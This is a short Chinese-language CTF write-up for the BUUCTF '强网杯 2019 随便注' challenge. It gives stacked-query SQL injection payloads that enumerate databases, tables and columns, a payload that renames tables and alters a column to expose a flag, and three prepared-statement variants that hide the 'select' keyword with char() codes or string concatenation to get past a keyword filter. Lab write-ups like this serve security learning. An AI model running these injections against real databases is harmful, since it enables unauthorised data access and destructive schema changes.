BUUCTF刷题记录
[强网杯 2019]随便注

爆库
1’;show databases;#

爆表
1’;show tables;#

爆字段名
1’;show columns from 1919810931114514;#

修改表名的语法:alter table rename to/as new_tablename;
修改列的属性:table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL
貌似得一次性来??分开不行
0';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
贴一个预处理的方法
第一种
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
第二种
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
解3种食用方式
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
参考:
https://www.cnblogs.com/wjw-zm/p/12359735.html
本文介绍了MySQL数据库的SQL注入漏洞利用方法,包括爆库、爆表、爆字段名及修改表名和列属性的语法。同时,展示了三种预处理SQL语句的执行方式,并提供了相关参考资料,旨在揭示SQL注入的危害,提醒读者关注数据库安全。
1133

被折叠的 条评论
为什么被折叠?



